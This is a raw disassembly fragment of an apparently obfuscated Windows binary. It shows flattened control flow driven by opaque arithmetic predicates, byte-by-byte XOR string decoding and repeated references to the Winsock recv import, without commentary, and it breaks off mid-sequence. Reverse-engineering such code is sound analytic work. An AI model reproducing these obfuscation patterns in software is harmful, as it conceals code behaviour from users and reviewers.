sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000eb50
cmp eax, 0x65935c71
je 0x14000ea83
cmp eax, 0x10a09de6
je 0x14000eb6c
cmp eax, 0x9c6a156
jne 0x14000eaf0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000eaf0
cmp eax, 0xe804e5f4
je 0x14000eb65
cmp eax, 0x9209573
jne 0x14000eaf0
mov eax, 0x10a09de6
jmp 0x14000eaf0
mov eax, 0x65935c71
jmp 0x14000eaf0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x19
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 0xe], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0xf]
mov eax, 0x9c6a156
jmp 0x14000ec00
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000ec60
cmp eax, 0x65935c71
je 0x14000eb93
cmp eax, 0x10a09de6
je 0x14000ec7c
cmp eax, 0x9c6a156
jne 0x14000ec00
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
jmp 0x14000ebea
cmp eax, 0xe804e5f4
je 0x14000ec75
cmp eax, 0x9209573
jne 0x14000ec00
mov eax, 0x10a09de6
jmp 0x14000ec00
mov eax, 0x65935c71
jmp 0x14000ec00
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1a
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 0xf], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0x10]
mov eax, 0x9c6a156
jmp 0x14000ed00
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000ed60
cmp eax, 0x65935c71
je 0x14000eca3
cmp eax, 0x10a09de6
je 0x14000ed7c
cmp eax, 0x9c6a156
jne 0x14000ed00
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000ed00
cmp eax, 0xe804e5f4
je 0x14000ed75
cmp eax, 0x9209573
jne 0x14000ed00
mov eax, 0x10a09de6
jmp 0x14000ed00
mov eax, 0x65935c71
jmp 0x14000ed00
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1b
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 0x10], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 0x11]
mov eax, 0x9c6a156
jmp 0x14000ee00
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000ee60
cmp eax, 0x65935c71
je 0x14000eda3
cmp eax, 0x10a09de6
je 0x14000ee7c
cmp eax, 0x9c6a156
jne 0x14000ee00
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000ee00
cmp eax, 0xe804e5f4
je 0x14000ee75
cmp eax, 0x9209573
jne 0x14000ee00
mov eax, 0x10a09de6
jmp 0x14000ee00
mov eax, 0x65935c71
jmp 0x14000ee00
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1c
mov rsp, rdx
mov rbx, rsp
mov byte [rcx + 0x11], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0x12]
mov eax, 0x9c6a156
jmp 0x14000ef10
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000ef70
cmp eax, 0x65935c71
je 0x14000eea3
cmp eax, 0x10a09de6
je 0x14000d86f
cmp eax, 0x9c6a156
jne 0x14000ef10
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000ef10
cmp eax, 0xe804e5f4
je 0x14000ef85
cmp eax, 0x9209573
jne 0x14000ef10
mov eax, 0x10a09de6
jmp 0x14000ef10
mov eax, 0x65935c71
jmp 0x14000ef10
mov eax, dword [0x1402b5c98]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x5aba48f0
mov r8d, 0x2a706f1f
cmove eax, r8d
cmp dword [0x1402b5c9c], 0xa
mov edx, 0x5aba48f0
jmp 0x14000d8d0
mov eax, 0x3a8cfc5
jmp 0x14000d8dc
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1e
mov rsp, rcx
mov rbx, rsp
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx edx, byte [rax + 0x14]
mov eax, 0x9c6a156
jmp 0x14000f060
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000f0c0
cmp eax, 0x65935c71
je 0x14000f000
cmp eax, 0x10a09de6
je 0x14000f0dc
cmp eax, 0x9c6a156
jne 0x14000f060
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000f060
cmp eax, 0xe804e5f4
je 0x14000f0d5
cmp eax, 0x9209573
jne 0x14000f060
mov eax, 0x10a09de6
jmp 0x14000f060
mov eax, 0x65935c71
jmp 0x14000f060
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1f
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x200]
mov rax, qword [rax]
movzx ebx, byte [rax + 0x15]
mov eax, 0x9c6a156
jmp 0x14000f160
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000f1c0
cmp eax, 0x65935c71
je 0x14000f103
cmp eax, 0x10a09de6
je 0x14000f1dc
cmp eax, 0x9c6a156
jne 0x14000f160
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000f160
cmp eax, 0xe804e5f4
je 0x14000f1d5
cmp eax, 0x9209573
jne 0x14000f160
mov eax, 0x10a09de6
jmp 0x14000f160
mov eax, 0x65935c71
jmp 0x14000f160
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x20
mov rsp, rdx
mov byte [rcx + 2], al
mov byte [rcx + 3], 0
mov rax, qword [rbp + 0x1e8]
mov byte [rax + 0x17], 1
mov eax, 0xc55c03d3
jmp 0x14000d8dc
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rbx
mov rbx, rsp
mov byte [rsi], al
movzx edx, byte [r12 + 1]
mov eax, 0x9c6a156
jmp 0x14000f290
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000f2f0
cmp eax, 0x65935c71
je 0x14000f222
cmp eax, 0x10a09de6
je 0x14000f30c
cmp eax, 0x9c6a156
jne 0x14000f290
mov eax, dword [0x1402b5ca0]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000f290
cmp eax, 0xe804e5f4
je 0x14000f305
cmp eax, 0x9209573
jne 0x14000f290
mov eax, 0x10a09de6
jmp 0x14000f290
mov eax, 0x65935c71
jmp 0x14000f290
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 1], al
mov r13, qword [rcx]
movzx edx, byte [r13 + 2]
mov eax, 0x9c6a156
jmp 0x14000f390
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000f3f0
cmp eax, 0x65935c71
je 0x14000f32d
cmp eax, 0x10a09de6
je 0x14000f40c
cmp eax, 0x9c6a156
jne 0x14000f390
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
jmp 0x14000f384
cmp eax, 0xe804e5f4
je 0x14000f405
cmp eax, 0x9209573
jne 0x14000f390
mov eax, 0x10a09de6
jmp 0x14000f390
mov eax, 0x65935c71
jmp 0x14000f390
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 2], al
movzx edx, byte [r13 + 3]
mov eax, 0x9c6a156
jmp 0x14000f480
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop
cmp eax, 0x9c6a155
jle 0x14000f4f0
cmp eax, 0x65935c71
je 0x14000f42a
cmp eax, 0x10a09de6
je 0x14000f512
cmp eax, 0x9c6a156
jne 0x14000f480
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000f480
cmp eax, 0xe804e5f4
je 0x14000f508
cmp eax, 0x9209573
jne 0x14000f480
mov eax, 0x10a09de6
jmp 0x14000f480
mov eax, 0x65935c71
jmp 0x14000f480
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, rbx
mov rdx, rsp
mov byte [rsi + 3], al
mov rbx, qword [rcx]
movzx r13d, byte [rbx + 4]
mov eax, 0x9c6a156
jmp 0x14000f590
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], r13b
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000f5f0
cmp eax, 0x65935c71
je 0x14000f533
cmp eax, 0x10a09de6
je 0x14000f60c
cmp eax, 0x9c6a156
jne 0x14000f590
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000f590
cmp eax, 0xe804e5f4
je 0x14000f605
cmp eax, 0x9209573
jne 0x14000f590
mov eax, 0x10a09de6
jmp 0x14000f590
mov eax, 0x65935c71
jmp 0x14000f590
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, rdx
mov rdx, rsp
mov byte [rsi + 4], al
movzx ebx, byte [rbx + 5]
mov eax, 0x9c6a156
jmp 0x14000f680
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000f6f0
cmp eax, 0x65935c71
je 0x14000f629
cmp eax, 0x10a09de6
je 0x14000f712
cmp eax, 0x9c6a156
jne 0x14000f680
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r13b
xor r13b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000f680
cmp eax, 0xe804e5f4
je 0x14000f708
cmp eax, 0x9209573
jne 0x14000f680
mov eax, 0x10a09de6
jmp 0x14000f680
mov eax, 0x65935c71
jmp 0x14000f680
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, rdx
mov rbx, rsp
mov byte [rsi + 5], al
mov r13, qword [rcx]
movzx edx, byte [r13 + 6]
mov eax, 0x9c6a156
jmp 0x14000f7a0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000f800
cmp eax, 0x65935c71
je 0x14000f733
cmp eax, 0x10a09de6
je 0x14000f81c
cmp eax, 0x9c6a156
jne 0x14000f7a0
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
jmp 0x14000f78a
cmp eax, 0xe804e5f4
je 0x14000f815
cmp eax, 0x9209573
jne 0x14000f7a0
mov eax, 0x10a09de6
jmp 0x14000f7a0
mov eax, 0x65935c71
jmp 0x14000f7a0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 6], al
movzx edx, byte [r13 + 7]
mov eax, 0x9c6a156
jmp 0x14000f890
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x14000f900
cmp eax, 0x65935c71
je 0x14000f83a
cmp eax, 0x10a09de6
je 0x14000f922
cmp eax, 0x9c6a156
jne 0x14000f890
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000f890
cmp eax, 0xe804e5f4
je 0x14000f918
cmp eax, 0x9209573
jne 0x14000f890
mov eax, 0x10a09de6
jmp 0x14000f890
mov eax, 0x65935c71
jmp 0x14000f890
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, rbx
mov r13, rsp
mov byte [rsi + 7], al
mov rbx, qword [rcx]
movzx edx, byte [rbx + 8]
mov eax, 0x9c6a156
jmp 0x14000f9a0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000fa10
cmp eax, 0x65935c71
je 0x14000f942
cmp eax, 0x10a09de6
je 0x14000fa32
cmp eax, 0x9c6a156
jne 0x14000f9a0
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14000f9a0
cmp eax, 0xe804e5f4
je 0x14000fa28
cmp eax, 0x9209573
jne 0x14000f9a0
mov eax, 0x10a09de6
jmp 0x14000f9a0
mov eax, 0x65935c71
jmp 0x14000f9a0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, r13
mov r13, rsp
mov byte [rsi + 8], al
movzx edx, byte [rbx + 9]
mov eax, 0x9c6a156
jmp 0x14000fab0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r9d
cmp edi, 0xffffffff
mov eax, ebx
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, ebx
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000fb10
cmp eax, 0x65935c71
je 0x14000fa4f
cmp eax, 0x10a09de6
je 0x14000fb2c
cmp eax, 0x9c6a156
jne 0x14000fab0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl bl
xor bl, r8b
cmovne eax, r11d
jmp 0x14000fab0
cmp eax, 0xe804e5f4
je 0x14000fb25
cmp eax, 0x9209573
jne 0x14000fab0
mov eax, 0x10a09de6
jmp 0x14000fab0
mov eax, 0x65935c71
jmp 0x14000fab0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, r13
mov rbx, rsp
mov byte [rsi + 9], al
mov r13, qword [rcx]
movzx edx, byte [r13 + 0xa]
mov eax, 0x9c6a156
jmp 0x14000fbb0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000fc10
cmp eax, 0x65935c71
je 0x14000fb4d
cmp eax, 0x10a09de6
je 0x14000fc2c
cmp eax, 0x9c6a156
jne 0x14000fbb0
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
jmp 0x14000fba4
cmp eax, 0xe804e5f4
je 0x14000fc25
cmp eax, 0x9209573
jne 0x14000fbb0
mov eax, 0x10a09de6
jmp 0x14000fbb0
mov eax, 0x65935c71
jmp 0x14000fbb0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 0xa], al
movzx edx, byte [r13 + 0xb]
mov eax, 0x9c6a156
jmp 0x14000fcb0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r9d
test eax, edi
mov eax, r14d
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, r14d
nop dword [rax + rax]
cmp eax, 0x9c6a155
jle 0x14000fd10
cmp eax, 0x65935c71
je 0x14000fc4a
cmp eax, 0x10a09de6
je 0x14000fd2c
cmp eax, 0x9c6a156
jne 0x14000fcb0
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
jmp 0x14000fca0
cmp eax, 0xe804e5f4
je 0x14000fd25
cmp eax, 0x9209573
jne 0x14000fcb0
mov eax, 0x10a09de6
jmp 0x14000fcb0
mov eax, 0x65935c71
jmp 0x14000fcb0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, rbx
mov r13, rsp
mov byte [rsi + 0xb], al
mov rbx, qword [rcx]
movzx edx, byte [rbx + 0xc]
mov eax, 0x9c6a156
jmp 0x14000fdb0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x14000fe10
cmp eax, 0x65935c71
je 0x14000fd4c
cmp eax, 0x10a09de6
je 0x14000fe2c
cmp eax, 0x9c6a156
